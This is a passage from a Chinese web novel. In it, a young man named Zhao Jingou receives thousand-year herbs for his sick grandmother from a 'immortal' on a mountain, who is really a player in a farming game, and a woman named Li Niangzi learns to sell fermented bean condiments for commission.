先前他动用不少关系,好不容易给祖母找到了两株百年人参,连忙喊那大夫给祖母入了药。 好在是祖母在喝下新药后,再配合着针灸,手指似乎动弹了片刻。 但紧接着,很快,他便被大夫接下来的话打入绝望中。 “赵小公子,这两株百年人参极好,入的药能够老夫人吃十日,十日后,恐怕老夫人还需要这百年人参巩固药效,若能连着饮用这百年人参制作成的药,老夫认为老夫人这病或许能在半年到一年内好转。” 赵金构喜极,随即便是更深的忧愁。 ——拿到这两株药也是他动用不少关系的结果,其中一株还是城内他那狠心的爹派人送过来的。 但若想继续服用这百年药材,他又该去哪儿寻药? 赵金构陷入绝望,倒是那游姓商人踌躇片刻提议。 “不知赵兄可曾听过那潜灵山?我听闻不少人提及,那潜灵山内暗藏玄机无数,天材地宝,百年药材,只是那山凶险无比” 赵金构自不是傻瓜,自然知道那潜灵山有多邪门,而且,他知道斗坡村的那位仙师,便自称来自于那潜灵山中。 ——若是只求安全,他应该去其余地方寻药,或者干脆让祖母服用十年人参入的药,但他不愿。 祖母将他拉扯大,护着他不受欺辱,让他长大成人,眼下正是需要他出力的时候,他又如何能主动放弃那一线生机? 可以说,若是祖母去了,他也对这世间毫无留念了。 下定决心后,赵金构对着这游姓商人一抱拳,随即开口。 “游兄,此去或许凶险,我不知还能否回来,若我回不来,还请游兄带个口信,让我家来人接我祖母回去修养。” 游姓商人暗自叹气。 多好的合作伙伴,他二人合作可是赚了不少钱的,本以为这合作还能继续下去,但谁能想到,赵金构竟然是遇到了这么棘手的事情。 这会连忙回礼,应下对方的话。 “这是自然。赵兄,你这一路凶险,不若去道观求几张护身符,也能保你进山平安。” 赵金构应下,待送走游姓商人后,他命家中小厮替他收拾衣物,路途所需的食物。 小厮犹豫着开口:“公子,您不去道观求几张护身符么?” 赵金构冷笑一声,“除了那一言道士外,哪有真道士,若让我去求那些吃香火吃得滚圆的道士,我倒是不如直接上山,还能更快一些。” 小厮不敢说话,连忙垂头,赵金构自顾自进屋自行收拾武器,细软,确保东西带好后,他便要带着两匹马孤身上山。 临走前,却被冲出来的一小厮拦下。 只见这小厮将头磕得砰砰响,语调带着哭腔。 “小人才知晓少爷要上山,既要上山的话,平儿愿替少爷上山为老夫人寻药!” 平儿此人是赵金构的贴身小厮,在八岁时被老夫人挑选入府做事,入府后,老夫人宽厚,少爷也未曾为难过他,期间更是对他多有帮助。 如今眼看着少爷要去寻死,平儿如何能不拦着。 赵金构叹息着让他起来,那张打小就美得出奇的脸庞透露出疲倦。 “平儿,此次上山只我一人上山,你去那斗坡村继续监督建客栈事宜,若我没回来,你要好好照顾祖母。” 平儿神色动容,还想再说些什么,却被赵金构打断,随即他便眼睁睁地看着少爷牵着两匹马,出了门。 而赵金构在出门后,则是直奔那潜灵山而去。 中途他入住了一家客栈,休息一夜,在第二日继续赶路。 终于在中午时,赵金构来到了那传说中的潜灵山下。 从山脚看山上,赵金构只觉得这山确实有几分诡异,深呼一口气,他骑马上山。 上山的路倒是比想象中要好走,别说他骑马过来了,依他看,这路可以通过一辆小马车。 一路上整座山寂静无声,植物不像别的山一般茂盛,反而稀稀疏疏,这山唯一有的绿意,便是那山尖。 路上有不少野物乱跳,倒是让赵金构警惕心下降了几分。 ——有这些野物至少能说明这里不像传说中说的那般恐怖,不然的话,此处不该有活着的野物。 等他继续往前走,在经过一个拐角时,赵金构突然呼吸一滞。 ——等一下,刚才那悬崖边是不是有一串灵芝? 赵金构立即下马,低头去观望那灵芝是否是他所需之物。 只见那一串灵芝各个饱满硕大,赵金构默默拿出百年灵芝的图册和眼前所看到的灵芝作对比 这大小,甚至要比百年灵芝还要大 难道眼前这物比百年灵芝还要久远? 赵金构不免有些激动,灵芝生长环境恶劣,更不容易采摘,而这百年灵芝更是难得,若他能顺利采摘走这灵芝,按照这灵芝的尺寸,祖母的药至少能够维持一两个月不是问题。 他先将马牵好,随即扎好裤脚,拿出绳索,先将钉子钉在上方,随后再将绳索套在钉子上。 将绳索在腰间缠绕上几圈,赵金构这才小心翼翼地往下试探。 因灵芝的位置比较偏下,他往下慢慢滑下去。 悬崖很是陡峭,尤其这里的植株稀少,赵金构左右环顾一圈,总算是找到了一个能抓的地方。 一手抓住灌木,另一只手试探着往前去。 直到他伸手触碰到那灵芝的冠幅后,赵金构这才松了口气。 试探着动了动灵芝后,感受到灵芝根植在悬崖的韧劲,赵金构本想用力的手却在看到一物后僵硬了起来。 只见那灵芝下方的菌盖上,不知何时爬着一条蛇。 那蛇金黄色的竖瞳看得赵金构心底一凉。 ——何时出现的? 他采灵芝太过于认真,反而没看到这蛇! 这蛇脑袋是三角形的,想必有毒。 赵金构不想放弃灵芝,反手从袖口掏出一柄短剑。 一人一蛇就这样对视,蛇一动不动,但身子却逐渐抬起。 赵金构冷汗直流,这是蛇要发动攻击的前奏。 紧盯着蛇的时候,他却察觉到腰间的绳索有些松。 ——等一下,绳索没绑好? 赵金构脑内还没反应过来,绳索一松,他整个人翻滚着朝悬崖下跌去。 悬崖高度惊人,赵金构往下坠落时,甚至还能看到那毒蛇正在吐着芯子看他,而他整个人不能动弹,慢慢往下坠落。 而姜定则早在赵金构进山时,便看到了一个紫色的点突然蹦跶出来,随即这紫色光点从山脚正慢慢悠悠往山上晃悠。 这紫色的点代表啥意思? 姜定有心想问,但可惜没人能回复他,为了这问题再去搜索攻略也不值得,索性他直奔那紫色光点而去。 而等他过去时,似乎看到有一人正从山上滚落。 游戏弹出选项。 【似乎有人不小心落山了,要去救人吗?】 【A.救】 【B.不救】 按照这类游戏的尿性,这两个选项都会引发不同的结果。 若按照他先前玩过的游戏,若选择救助的话,有时候也会遭遇各种不妙,比如被人以路太烂讹上。 但若救人的话,或许这人还会触发另外的剧情。 看了眼自己目前的铜板足够意外赔付后,姜定选择了救助。 赵金构本觉得摔下去必死无疑时,突然一阵清风扫过。 这股风力大无穷,竟是托着他缓缓落地。 赵金构赶忙爬起来,抬头却只能看到那一方青色袍角。 这袍角借着刚才那股风摇荡不已,再往上看去,一张不似人间能有的容颜显现在赵金构眼前。 赵金构难掩眼中震撼之色。 ——他的容貌已是世间少有,但若和眼前这人对比的话,他只能沦为陪衬。 只见眼前这人缓缓落地,随即那阵风消散来开,而一条金龙却盘旋在他身后,不断翻滚。 这人手中拿着的是一把玉做的折扇,这会正展开扇子,遮挡住唇齿。 神仙。 不知为何,赵金构脑海内竟毫无预兆的想到了这两个字。 那飘飘若仙感实在是无法模仿,赵金构不免看呆了。 等到那人开口时,他这才回神。 第42章 千年药材 “你是何人,为何事而上山?” 这人分明面色温润宛如一块美玉,但说出来的话却带着丝丝缕缕的寒意,若非要比喻的话,更像是那从万尺之上流淌下来的寒泉一般清冽。 赵金构还没反应过来,身体却比他的理智更先一步。 只见他单膝跪地,垂头回应对方的提问。 “回仙师,在下赵金构,是风仙县之人,此次上山是为我病重的祖母求药。” 而此刻,姜定的屏幕上却弹出来新的选项。 【来人因祖母上山求取灵芝人参,是否选择给他药材?】 【A.不给,要有仙人的逼格,怎么能予取予求?】 【B.给一株,并且冷笑着羞辱对方。】 【C.询问他需要多少,给他多少,展现仙人的慈悲。】 A选项有点太绝对了,万一这人是剧情人物呢?救都救了,这会拒绝了反而触发不了后续剧情了。 B选项暂且不提感觉太贱了 C选项比较符合他对特殊事件的理解。 综合考虑一番后,姜定选择了C选项。 很快,下一个提醒弹跳出来,姜定看着这提醒,不由地蹙起了眉头。 【对方想要十五株,是否赠与对方?】 十五株? 话说他现在仓库里有多少个? 姜定打开仓库,看着仓库999的人参灵芝发呆。 不是,这玩意是大白菜么,怎么这些日子,能攒下这么多啊! 一般来说,量越多的物资越是不值钱,而特殊剧情人物需要的东西一般都是很昂贵稀少的,姜定顿时对这剧情有些失落。 “原来这灵芝和人参是用在这里啊,我还以为要开药店呢!” 眼瞅着这药材和这人需要的东西能关联起来,姜定心想这人物可能是前期隐藏人物吧。 既然库存这么多,他毫不犹豫地选择了给与。 甚至在输入数量时,多给了一倍。 等到确定赠与后,姜定静待事态发展。 而此刻,赵金构则是忍不住地颤抖。 刚才对方询问他需要多少,他忍着恐惧,要了十五株,——毕竟要少了救不了祖母,后续他也无法再向对方开口,但若是要多了,容易惹得对方厌烦,所以这个量他要把握好。 考虑到若是药材都能有刚才悬崖上那样的尺寸的话,按照一般情况下来看,他大约需要十株够一年的量,多要五株,完全是他为了预防万一。 本以为仙人会不悦,觉得他狮子大开口,但出乎赵金构意料的是,对方竟然答应了。 赵金构暗自观察眼前仙人的脸色,没从仙人脸上看到任何不悦的神情,那绝世无双的面颊上隐约浮现出一股悲天悯人的姿态。 赵金构不由地看呆了。 呆愣的时候,只见金光闪现,等待金光散去后,一堆灵芝人参出现在他眼前。 他垂头去看,却看到人参根须完整,灵芝的个头竟还要比他先前看到的还要大。 在心中和那画册比对后,赵金构惊讶发现,这人参灵芝,恐怕已经超过了百年界限,直奔更久远的念头而去。 因仙人在身旁,赵金构不敢过多去打量药材,本以为仙人还会和他说些什么,结果对方竟面无悲喜地看了他一眼,随即消失不见。 而姜定也有些懵。 在给了对方足够多的药材后,他本以为会出现什么新剧情,但令人吃惊的是,竟然完全没有新剧情出现? 姜定仔细琢磨片刻,随即眉头舒展,想到了另一种可能性。 ——他太心急了,有种游戏套路就是当下无法收纳剧情人物,但等到之后的某天后,剧情人物突然上门拜访,主动要替自己出力。 这套路在种田类游戏中很是常见,姜定戳了戳眼前这个人物挺美型的剧情人物,毫无意外地没得到反馈,最终只能暂时离开。 而赵金构看着那仙人消失的背影,心中却生出一阵遗憾。 ——不知他刚才遇到的这仙人,是不是那张山口中的仙师? 他没来得及,也怕对方并不愿解答他的疑惑,只能作罢。 想到刚才匆匆一眼看到的药材,赵金构连忙要将那药材放入自身携带的背篓中。 伸手去拿这药材,不细看不要紧,这一细看,赵金构这才发觉这药材数量竟然要远超他所求的数量! 数下来后,这药材足足比他预期多了一倍。 原先他尚且忐忑的心,这会却平稳地落了地。 既然药已求得,赵金构牵着马往山下走。 刚骑上马,却见眼前慢慢融化出一金色光点,他惊讶间,马儿却像是通灵性一般,闪电般钻入这光点间。 一切发生得太快,赵金构来不及动作,坐在马背上,被迫穿过了金门。 等到穿越金门后,这些金色光点消失不见,赵金构惊讶地发现,他竟然已经到了山下。 这位置正是他一开始决心上山之处,本以为往回返还需要半天时间,谁能想到,那山中的仙人竟是顺手将他送了出来。 只是这穿梭时空之法,这仙人到底是如何做到的? 赵金构心下疑惑,但此刻他顾不上多思考这问题。 背着药材,他一口气跑回了家中。 因信鸽提前到达的缘故,等他回到家时,原先的那位老大夫正好整以暇地端坐在会客厅等他。 一看到赵金构回来了,这老大夫连忙起身去迎,而赵金构则是顾不上这些虚礼,立即将随身携带的背篓打开,让大夫仔细瞧瞧这药材的年份。 “麻烦大夫您看看这药材年份,具体是什么年份的?” 老大夫应了一声,心想那百年药材哪有那么好弄哦。 但是不好打击这赵小公子,只能假装一副很期待的模样。 等到赵金构打开背篓,拿出第一株灵芝时,原先没报希望的老大夫眼神顿时一亮。 ——等一下,刚才赵小公子掏出个什么玩意出来了? 不敢置信地揉了揉眼睛,老大夫死死地盯着赵金构手中的灵芝 他没看错吧,这纹理,这质感,这大小,若说它是百年灵芝,都是对它的侮辱,按照年份计算的话,这灵芝恐怕都有上千年了 这样的灵芝价值不菲,别说赵小公子难得,就连那有权有势之人也得看运气,看造化才能得到! 老大夫沉浸地捧着灵芝,看了又看,等看到背篓时,忍不住夸赞赵金构。 “这灵芝存放是得放在背篓中,不然闷着就是糟蹋了,这灵芝老夫看的话,最少都是千年灵芝,这物如此稀罕,老夫有些好奇赵小公子从哪儿得到的?” 赵金构被这话震到了。 ——他只知道这灵芝定比百年灵芝久,但竟不知这竟然是千年灵芝,这是何等珍稀! 别说他难得,就算当今圣上,也不见得能有几株千年草药。 等听到老大夫的询问后,赵金构眉目微微一蹙,随即脸色转为敬畏。 “昨日我一心为祖母求药,而后去了那潜灵山,九死一生之际,恰逢仙人救助,听闻我要取药救祖母,仙人便赐给了我这些药。” 回想到当时的场景,赵金构忍不住叹息一声。 “这应该便是仙人感动于我替祖母求药,所以特此现身吧,只是这求药途径太过于荒唐,还希望大夫请勿外传。” 老大夫假装淡定地抚摸胡须。 他刚才并非存心打探,而是太过于震惊,一震惊,反而口无遮拦了。 这种富贵人家能拿出这样的药物,想必其中暗含秘辛,他一个做大夫的,做好自己分内的工作便是,何必多嘴问人家。 已经认为赵金构这番说辞为借口的老大夫点点头,“老夫竟是没想到赵小公子竟有这般造化,你稍等,老夫这便为老夫人制作新药。” 刚撸起袖子打算干,却听赵金构继续道:“大夫,其实我还有一些药材需要您帮我鉴别,然后一并为我祖母入药了吧。” 老大夫这才继续去看那放在桌上的背篓,只见赵金构动作间,原本淡定的老大夫此刻震惊得嘴都合不上。 ——这人参好啊,千年的! 这灵芝也得有个千年了! 等一下,怎么赵小公子拿出来的药材全都是千年以上的药材,难道现在千年药材这般泛滥了? 老大夫一脸怀疑人生,而等赵金构拿出最后一株药材后,老大夫彻底信了赵金构遇到神仙了。 ——不然该如何解释会有这么多的千年药材?真当这玩意是大白菜了么? 千年药材,有一两株已是造化,若不是遇到神仙,不可能有这么多! 他竟不知,这赵小公子竟然敢独自一人去了那凶险至极的潜灵山,还能从中得到机缘,这赵小公子可谓是身负仙人机缘啊。 作为大夫,其实他本身便能为病人保守秘密,更何况这赵小公子得了仙家机缘,他只有交好的份,何故将对方拿到仙药的来源说出去? 原先老大夫以为是赵金构没说真话,这会看到所有药材后,恍惚后倒觉得这赵小公子人不错,竟能将药材来源如实告知自己,这会对老夫人的病更加关心了。 而一旁的赵金构则是将老大夫的神情变化看得一清二楚。 这老大夫姓方,是附近德高望重,医术最为了得的大夫,他原先并非不想隐藏来源,而是祖母的病长久,药方制作又要依靠这方大夫,赵金构很清楚欺骗带来的负面影响。 既后续还需要方大夫,还不如一开始便告诉方大夫实情,博个好感。 且有仙人这事,方大夫念及仙人缘故想必轻易也不会将此事宣扬出去。 “那便麻烦方大夫了。” 而得了新工作的李娘子,这会正往回走。 第43章 尝试 那窗口处的妇人告诉她,今日便算是开始上工了。 而此刻,李娘子手中拎着的篮子,里面正放着满满当当的待推销产品。 先前时,那妇人一一指着新品告诉过她。 “这黑乎乎的形状像豆子的便是豆豉,风味独特,这红色的是腐乳,这白色中泛着青的便是臭豆腐,这三样作为调料,做菜时,很是合适。” 李娘子这才去看说到的这些东西,等每样都尝了一口后,李娘子觉得这三样味道都不错,但如何才能推销成功呢? 拎着篮子往回走时,李娘子还在琢磨这事,路过路边的小摊位时,小商贩的叫卖声吸引了她的注意力。 “要不要来点新鲜的鸡肉?我今个才从山上打来的山鸡,肥美得很。” 李娘子低头去看,发现商贩说的话不假。 这山鸡看着确实肥美,也不知这荒年,它为何能吃得这般肥? 想到之后或许还要叨扰刘寡妇一阵子,李娘子咬了咬牙,询问这山鸡价格。 “现在整体吃食价格都贵,这山鸡一共三斤,你给我50文,整只鸡带走,如何?” 50文?! 李娘子倒吸一口凉气,突然觉得这鸡不买也罢,这会连忙摆手,示意不要。 她现在手里也就只有400文,这鸡肉太贵,实在不适合她吃。 小商贩倒也没被打击,转而笑着推销鱼。 “那来条鱼吧,这鱼是我自己下河摸的,这条鲫鱼还算肥,得有个一斤半,你给我9文就行。” 前些日子各地都下了暴雨,原先干涸的河道很快便充盈起来,这会会捕鱼的竟已开始卖鱼了。 再看看商贩手里拎着的鲫鱼,李娘子琢磨着买条鱼回去做一顿饭也行。 再说了,这价格也相对好入手一些。 和商贩讨价还价后,李娘子花了10文买了一条两斤的鲫鱼,商贩还给她搭了两条巴掌大的小鱼。 拎着鱼,走到刘寡妇卖烤番薯的地方,李娘子发现买烤番薯的人竟还不少。 好不容易等排在刘寡妇摊位前的人走后,还没开口,刘寡妇先看到了她。 “回来了?招上了没?” 边说,她边擦了把手,一转身,便看到了李娘子手中拎着的鱼。 “李娘子,你咋还买鱼了呢?你没找到赚钱路子前,别花钱买这些了,怪浪费钱的。” 李娘子微笑道:“没招聘上厂子的工作,但是那窗口给了我一个新工作。” 将新品兜售员的工作大概和刘寡妇说后,她继续道,“之后恐怕还要叨扰你一段时间,我寻思今天做点鱼,让大家尝尝。” 刘寡妇点头,“这工作虽说没有日薪100文的工作好,但它总能有点收入,你没赚到钱就先在我这里住下吧,刚好我那也多一间屋子能住。” 李娘子有些不好意思,“刘娘子,等我过几天手头宽松点,我便按照当下租房的钱付给你。” 倒是刘寡妇嗔了她一眼,“可别,你让我报答一番恩情吧,不然往后我可不敢再继续和你来往了。” 这话让李娘子忍不住笑出声。 “那我先试试去兜售一番,今日我便上工了,那窗口说,我每日可直接去窗口处领取今日工钱。” 李娘子将鲫鱼放下来,随后拎着篮子,打算去前面的集市上碰碰运气。 将篮子上盖着的布子掀开,李娘子第一次叫卖便开始了。 只是一开始,李娘子便遇到了销售困难。 好不容易积攒点勇气张口叫卖,但被吸引过来的人在看了几眼她篮子内的东西后,大部分人都丧失了继续询问的兴趣。 偶有人会继续深入询问这物能用来干什么,李娘子扯出一抹笑,解释道:“这三样都能用于做饭调味,滋味都特别好,您可以尝尝。” 这些人倒是尝了几口,但却没有一人有想购买的意图。 半天时间一晃而过,李娘子失魂落魄地返回窗口处领取今日工资。 ——她明明已经很努力地叫卖了,但为何却卖不出去? 按照她尝过的口味,这三样物中,除了臭豆腐有些猎奇以外,别的都不应该呀。 因没卖出去一件,李娘子领工资时,多少有些紧张,倒是没想到那发放工资的妇人却像是什么都没发生一样,笑着将10文钱发放到她手里。 李娘子面色一红,惭愧极了,甚至不敢抬头去看对方,急匆匆跑走。 领到钱后,李娘子边去找刘寡妇,边有意琢磨。 ——若一直卖不出去也不是个头,她过不了一个月便会被辞退,回想起今日售卖时,有不少人都提问了一个问题。 那便是这物到底有何用。 李娘子想着自己的回复,心想自己说的确实应该没问题呀。 而此刻,她却闻到了一股极其霸道的香味。 酸麻香辣,惹得人口水直流。 李娘子忍不住往香味来源处看去,赫然看到了一卖酸辣粉的小摊位。 食客们络绎不绝,有本地人,也有外来的商贩。 这些商贩吃得大呼过瘾,随即便和同伴互相交耳着要买些粉条,好回家了后还能吃到这物。 听着这些人的交谈,电光火石间,李娘子突然悟了。 ——怪不得她今日卖不出东西,原因恐怕是在于没有切实展露出推销之物的用处。 或许它味道不错,也能做为调料入味,但如果这物放进去后,做出来的饭菜效果没能展现出来,那观看之人恐怕不会去冒险购买。 再想想看,她今日选择售卖的地方也是有问题的。 集市上大都是村人,本来就对吃食的精细不算特别在意,这么推论下来,她明日要去向外地的商贩兜售,或者干脆去大一些的酒楼饭店,以及城镇的大户人家兜售。 思来想去,李娘子往回走去,而刘寡妇已经开始收拾东西。 李娘子忙过去添把手,二人推着箱子,背着空了的背篓往回走去。 刘寡妇有意多问几句,在知道李娘子今日并未售卖出去东西后,她不敢继续问了,赶紧假装扭转话题。 “这鱼挺好,我去那卖豆腐那里买块豆腐去,咱们往汤里面加点豆腐应该好吃。” 李娘子想拦着,没拦住,片刻后,刘寡妇已经拎着一块豆腐,一块豆干回来了。 “买了一块豆干,回去了我给咱拌着吃。” 李娘子轻点头,等到两人回家后,在家呆了一整天的三个孩子撒欢一样奔跑着。 刘寡妇放下箱子,喊着让他们去院子里摘点黄瓜,辣椒。 自己则是在外面将鱼开膛破肚,刮鳞片。 李娘子则是将豆腐干切丝,混着黄瓜丝,做个凉拌菜,豆腐也被她切成了稍大一些的块,打算炖鱼头豆腐汤。 话说,李娘子做饭的手艺在村里算是一顶一的好手。 等到将葱姜蒜都切好备用后,李娘子接过处理好的鱼,将鱼脑袋和两个巴掌大的鱼加入葱姜翻炒,之后下开水,又加入豆腐炖煮。 而鱼身子,李娘子却想起了待推销的新品。 ——那妇人说过,正常的消耗是可以被允许的。 李娘子决定用那豆豉试试料理鱼。 挖了一勺豆豉,将那豆豉炒香,一股明显不同于以往的香味顿时弥漫开来。 三个孩子从门外探出头,个个争抢着要进来看,而刘寡妇也是嗅了嗅鼻子,忍不住感慨道:“李娘子,你果然做饭香,素日我都能闻到你家饭菜的香味,可是馋死我了,今日我可算有口福了。” 李娘子笑着道:“一会多吃点,你先带着孩子们去外面玩会,这菜快出锅了。” 说话间,李娘子慢慢给煎得金黄的鱼肚子翻了个面,等到豆豉汤汁被鱼吸收完了后,她这才眼疾手快地将鱼盛出来。 豆豉鱼好了的同时,那炖煮鲜美的鱼汤也该出锅了。 刘寡妇先喝了口鱼汤,两眼放光。 “李娘子,你这手艺绝了,这豆腐入味又不软烂,如何做到的?” 李娘子听这话不自觉高兴起来,给她说完了如何做后,孩子们已经开始吃豆豉鱼了。 “慢点吃,这鱼可是有刺的,要小心点。” 李娘子笑了笑,“不碍事,大刺我都挑出去了,小刺也早就被煎得酥脆,只要小心点吃,一般没事。” 刘寡妇应了声,随即夹了口豆豉鱼送入口中。 确实如李娘子所说,鱼刺酥软,只是这鱼到底是怎么做的?竟有如此风味? 连着吃了好几口,刘寡妇都没太吃明白这风味来源。 等到最后实在好奇询问时,李娘子拿出那豆豉酱给她看。 “因加了这物,所以风味独特。” 刘寡妇暗叹不已。 而等到第二日时,李娘子狠了狠心,又拿出二十文铜钱买了巴掌大小的一块猪肉作为试验。 ——昨日她意外试出了豆豉的吃法,但腐乳呢,是不是也能被用来做菜? 等到顺利做出腐乳猪肉时,李娘子知道自己总算是成功了。 为了试验,她特意将这猪肉分割成数块,每一块都小心料理,倒还真被她解锁了新吃法。 至于臭豆腐,李娘子暂时没有头绪,她也试图用臭豆腐炖煮猪肉,但出来的成品简直不忍直视,迫于手头紧,只能无奈放弃。 第二日,她依旧领取了10文钱。 领工资时,李娘子暗下决心,她明日定不能再继续领10文钱了。 第三日一早,李娘子将家中三个孩子伺候完吃早饭后,急匆匆挎着篮子出门。 昨晚李娘子思量后,决定先从大户人家,酒楼开始售卖,等到酒楼吃法让众人意识到这物的用途后,她再去找商户,想必推广能简单些。 等到来到风仙县外的一处布局考究精致的小院子时,李娘子慢下脚步,忐忑地拎着篮子走过去。 第44章 提成 这小院子外标记着的牌匾写的是张府,光从外面看的话,李娘子觉得这住所已足够阔气。 张府门外并无看门的人,李娘子索性大着胆子,伸手去触碰门环叩击大门。 敲了有三下,大门应声而开,开门的是个穿着马褂长裤的中年男人,看这幅装扮像是给府内干活的人。 刚开门时,这人眼中带着警惕,等看清楚门外站着的是个瘦弱妇人后,眼中警惕稍微弱了几分,但说出的话依旧很不和善。 “你扣门有何事?” 李娘子连忙挂着笑,对此人笑道:“大哥,我是斗坡村豆腐厂的推销员,现因为有新品出来了,我拿点新品出来给府内贵人们瞧瞧。” 家丁扫了一眼李娘子手中的篮子,李娘子连忙敞开让他看个清楚。 却被张府家丁拒绝。 “走走走,主家不需要这些,你赶快走吧。” 说完,便要合门,李娘子有些着急,“大哥,这物做出的吃食独有风味,若是贵府有需要招待的客人,用上我们的酱料大有益处啊。” 家丁没心思听李娘子继续说话,转而便要合上门,李娘子绝望之际,门内有人开口喊道。 “张德家的,门口谁啊?” 这声音中气十足,听音色是个女人。 “说是斗坡村豆腐厂来的,卖货的。” “斗坡村豆腐厂?莫不是咱们府内要送的豆腐到了,你先别赶走人,我瞧瞧。” 说话间,大门再次被打开,而李娘子则是看到了这声音的主人。 这人长得又高又壮,是张府的厨娘。 确定来人是生面孔后,张厨娘奇怪地问:“这位娘子,你是豆腐厂的什么人?” 李娘子眼看有戏,连忙将刚才的说辞再次重复了一遍,随即拿出来一小份的豆豉鱼让对方试试。 除却豆豉鱼之外,李娘子还拿出一块腐乳烧肉让张厨娘尝尝。 张厨娘还未来得及说话,先被这香味勾了魂。 等到再看李娘子时,她脸色便好了许多。 “那我尝尝。” 一口豆豉鱼下嘴,张厨娘忍不住瞪大了双眼。 ——别说,这滋味还怪有趣的。 又去尝那腐乳肉,这肉做得风味也独特。 想到主家比较好口腹之欲,张厨娘决定买一些。 先拿出腰间的帕子擦了擦嘴,随即问道,“这豆豉来一斤,腐乳来三方,我第一次先少买点,等家里主子用好了再继续找你买。” 李娘子哎了一声,手脚麻利地给张厨娘称好了递过去。 随即笑着道:“我每隔两日过来一趟,到时候您有需要直接告诉我便成。” 这第一单便这么成了。 李娘子将对方给的铜板攥得很紧,生怕丢了这钱。 等到张府大门紧闭,李娘子仔细地将这38文铜板放入荷包内。 有第一次的成功经验,李娘子对之后的推广总算有了些信心。 很快,她便将张府附近的十几户全都拜访了一圈,大约有一多半的人买了她的东西,剩下几户,李娘子均被撵了出去。 不过她已经很高兴了。 若按照提成算的话,今日她能拿到大约60文的提成,加上每日底薪10文,70文的日薪扣除她为了推广而花费20文买的猪肉,鱼肉,净赚50文。 李娘子计算过了,一开始大伙不知道这物妙处,需要她投入本金推广,等到再次回购时,便不再需要多投入资金了。 眼瞅着有希望,李娘子脚步轻快地赶回豆腐厂。 等到领取工钱时,那负责发放薪资的妇人惊讶地看了一眼眼前的李娘子,递过去70文。 “恭喜李娘子,你可是我见到的拿到最高日薪的人了,好好干,说不定过几天能拿100文呢!” 李娘子脸色红润,——这是激动的缘故,对着妇人真心实意地谢了又谢,这才回家。 而张府当晚,张厨娘便将那豆豉炒了做鱼,顿时香飘几里,惹得府内众人频频打听这今日做了何物,这般香。 不过均被张厨娘敷衍过去。 张厨娘动作麻利,做鱼的时候,腐乳肉也炖煮完毕。 等到主家晚餐时,府内丫鬟便笑着过来端走刚出锅的菜,其中便有这一鱼一肉。 虽说这两样风味独特,但张厨娘还是有些紧张,不知道主家喜欢不喜欢这两物? 而丫鬟端着饭菜进去时,张小娘子忍不住叹了口气。 “又是那几样饭菜吧。” 她年纪小,贪嘴,喜欢吃点不一样的东西。 而今年饥荒严重,家里虽说不至于说吃不上饭菜,但对于花样的研究自然是少了不少。 主要也是因为是食材受限。 还不如以前呢,张小娘子嘟囔着。 灾年前那会能买到的新奇东西多,不至于像现在这般一提吃饭就觉得无趣。 但不吃也不行,不然一天饿得也难受。 倒是丫鬟俏笑道:“小娘子,你尝尝今日饭菜,我闻着可香了,问张妈妈,她还小气巴巴地不肯告诉我们到底做了啥呢!” 张小娘子转了转眼珠子,半疑半信地去看那食盒。 等到丫鬟将食盒打开后,那独特的香味随之而来。 张小娘子微微动了动鼻子,眼神止不住发亮。 ——闻着味道不错,像是鱼? 等丫鬟摆好了今日饭菜后,张小娘子直奔那鱼而去,等到吃了一口后,她幸福地眯起了眼睛。 ——这个味道!可太好吃了! 也不知道张妈妈是如何做出来的,比她原先做的鱼好吃一万倍! 张小娘子混着米饭,动作文雅却实在快。 等到等到鱼吃了半碟,她又将筷子夹向那红色的肉。 肉一入口,张小娘子微顿,这是猪肉?但为何今日猪肉吃起来不腻,且这般香? 顾不得多想,等到她回神之际,肚子已撑得鼓鼓的。 不过菜还有一半,张小娘子便让丫鬟将剩余的饭拿下去分着吃了。 这会张小娘子来精神了,吃饱了权当遛弯,她直奔厨房而去。 而张府大夫人那旁,她和丈夫二人倒也对今日饭菜异常满意。 “没想到张妈妈竟突然又去学了新花样,这味道不错,比原先的好吃。” 张府大夫人慢条斯理地品尝后,如是开口,而张府,张老爷则是有滋有味地吃着饭。 “是不错,张妈妈算有心了,东合,去给拿两百文作为赏钱。” 不等丫鬟动作,张老爷继续开口:“后日我请同僚来家中小聚,还望夫人安顿一番,尤其这两样新吃食,我还想在我同僚面前显摆显摆。” 到底不是什么大事,张夫人命东合提点张妈妈几句。 东合急匆匆而去,而厨房内,张厨娘则惴惴不安等待了半个时辰。 直到看到前面伺候老爷夫人的东合姑娘来了,她忙迎上去问如何。 等到知道老爷夫人满意非常,甚至念她有心,给她二百文作为赏钱时,张厨娘那颗乱跳的心这会才平稳下来。 ——看来主家是喜欢她今日做的?那便好,那便好。 等她收下赏赐,谢了又谢时,却听东合说起了老爷的吩咐。 张厨娘原先还没反应过来,但等想起她仅存不多的酱料时,顿时微微慌神 虽说不是很富足,但这量也够后日宴席所用了。 刚庆幸完的张厨娘,在被前来探查的张小娘子失手打碎盛放豆豉酱的坛子后,崩不住了。 原先还觉得能熬到后天李娘子过来兜售酱料,这会她熬不住了。 ——不行,她得赶紧去斗坡村联络那李娘子,不然后天的宴席做不好了,惹得老爷不痛快了,可全都是她的过错了! 和张厨娘的火急火燎不同,李娘子这会正按照原先的方法,干得火热。 她自从上次回去后,每天早出晚归,靠着双脚将风仙县城附近的大小府,以及大小客栈全部跑了一遍。 前期靠着她先行垫资让这些人尝后再买的策略,推广倒是还蛮顺利。 差不多每日提成能稳定在70到150文左右。 期间倒是有不少府她甚至都没机会进入,但因有先前成功例子,李娘子倒是并未灰心,反而越看提成,干得越是上心。 等到她下午下工后去窗口领取工资时,看着多出来的40文铜板愣神。 “张娘子,我这工钱是不是算错了?这多了40文呀。” 李娘子忍不住开口,她怕对方给自己算错了,之后还要担责任。 倒是窗口妇人仔细看了几遍后,确凿开口,“没错,你说的多出来的这40文,是昨日有一位府内厨娘过来采买,她报的是你名字,当天售卖登记上也登记的是你引荐,在请示孙总管后,她最终确认这笔钱也算你的提成。” 李娘子愣住了,随即便被这巨大的惊喜砸得头昏眼花。 这会只能呆呆地看了看手心里多躺着的那40文发呆。 她原先也想过这个问题,但总觉得既然不是经她手亲自售卖出去的,她自然是拿不到这部分的钱的。 但谁能想到,孙总管竟然会将这部分提成也算成她的工钱?! 那窗口的妇人还在继续道:“不过孙总管说了,这既然是你的客户,她若后续订货,之后的提成便都会给你,但若后续需要送货时,就必须你亲自去负责了,毕竟提成不能白拿,如何笼络关系也是你必须要考虑到的。” 李娘子连着点头,嘴角高高扬起。 “我晓的这个道理,多谢张娘子你那日留下了我,我也要多谢孙总管能对我这般好。” 李娘子没想到自己今日一共竟能拿到200文工钱,比李四拿到的150文还要高! 原先那股因和离而产生的恐惧消散了不少。 